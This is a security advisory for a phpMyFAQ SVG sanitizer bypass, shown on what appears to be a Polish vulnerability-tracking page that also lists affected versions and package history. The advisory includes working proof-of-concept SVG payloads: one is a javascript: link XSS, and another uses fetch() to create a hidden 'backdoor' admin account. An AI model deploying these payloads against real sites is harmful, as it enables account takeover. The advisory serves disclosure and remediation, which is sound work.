phpMyFAQ: SVG Sanitizer Bypass via HTML Entity Encoding Leads to Stored XSS and Privilege Escalation
Summary
The regex-based SVG sanitizer in phpMyFAQ (SvgSanitizer.php) can be bypassed using HTML entity encoding in javascript: URLs within SVG <a href> attributes. Any user with edit_faq permission can upload a malicious SVG that executes arbitrary JavaScript when viewed, enabling privilege escalation from editor to full admin takeover.
Details
The file phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php (introduced 2026-01-15) uses regex patterns to detect dangerous content in uploaded SVG files. The regex for javascript: URL detection is:
/href\s*=\s*["\']javascript:[^"\']*["\']/i
This pattern matches the literal string javascript: but fails when the URL is HTML entity encoded. For example, javascript: decodes to javascript: in the browser, but does NOT match the regex. The isSafe() method returns true, so the SVG is accepted without sanitization.
Additionally, the DANGEROUS_ELEMENTS blocklist misses <animate>, <set>, and <use> elements which can also be used to execute JavaScript in SVG context.
Uploaded SVG files are served with Content-Type: image/svg+xml and no Content-Disposition: attachment header, so browsers render them inline and execute any JavaScript they contain.
The image upload endpoint (/admin/api/content/images) only requires the edit_faq permission — not full admin — so any editor-level user can upload malicious SVGs.
PoC
Basic XSS (confirmed working in Chrome 146 and Edge)
- Login to phpMyFAQ admin panel with any account that has
edit_faqpermission - Navigate to Admin → Content → Add New FAQ
- In the TinyMCE editor, click the image upload button
- Upload this SVG file:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200">
<a href="javascript:alert(document.domain)">
<text x="20" y="50" font-size="16" fill="red">Click for XSS</text>
</a>
</svg>
- The SVG is uploaded to
/content/user/images/<timestamp>_<filename>.svg - Open the SVG URL directly in a browser
- Click the red text →
alert(document.domain)executes
Privilege Escalation (Editor → Admin Takeover)
- As editor, upload this SVG:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 300">
<rect width="500" height="300" fill="#f8f9fa"/>
<text x="250" y="100" text-anchor="middle" font-size="22" fill="#333">📋 System Notice</text>
<a href="javascript:fetch('/admin/api/user/add',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({userName:'backdoor',userPassword:'H4ck3d!',realName:'System',email:'evil@attacker.com','is-visible':false}),credentials:'include'}).then(r=>r.json()).then(d=>document.title='pwned')">
<rect x="150" y="170" width="200" height="50" rx="8" fill="#0d6efd"/>
<text x="250" y="200" text-anchor="middle" font-size="16" fill="white">View Update →</text>
</a>
</svg>
- Send the SVG URL to an admin
- Admin opens URL, clicks "View Update →"
- JavaScript creates backdoor admin user
backdoor:H4ck3d! - Attacker logs in as
backdoorwith full admin privileges
Impact
This is a Stored Cross-Site Scripting (XSS) vulnerability that enables privilege escalation. Any user with edit_faq permission (editor role) can upload a weaponized SVG file. When an admin views the SVG, arbitrary JavaScript executes in their browser on the phpMyFAQ origin, allowing the attacker to:
- Create backdoor admin accounts via the admin API
- Exfiltrate phpMyFAQ configuration (database credentials, API tokens)
- Modify or delete FAQ content
- Achieve full admin account takeover
The vulnerability affects all phpMyFAQ installations using the
SvgSanitizerclass (introduced 2026-01-15). Recommended fix: replace regex-based sanitization with a DOM-based allowlist approach, or serve SVG files withContent-Disposition: attachmentto prevent inline rendering.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka Composer | thorsten/phpmyfaq | < 4.1.1 | 4.1.1 |
Odnośniki
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N- Słabość (CWE)
CWE-79- Platforma
- Composer
- Paczka
thorsten/phpmyfaq- Ujawniono
- 01.04.2026
- Aktualizacja
- 11.10.2026 10:22
Źródła i licencje
OSV / GitHub Advisory Database - GHSA-5crx-pfhq-4hgg - CC BY 4.0
Historia podatności: thorsten/phpmyfaq
Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 112
- Pierwsza → ostatnia
- 05.2022 09.2026
- Bez poprawki
- 2
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 8
- Wysoka 36
- Średnia 67
- Niska 1
Ujawnienia w latach
- 2022: 8
- 2023: 62
- 2024: 2
- 2025: 6
- 2026: 34
-
phpMyFAQ: SVG Sanitizer Bypass via HTML Entity Encoding Leads to Stored XSS and Privilege Escalation ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.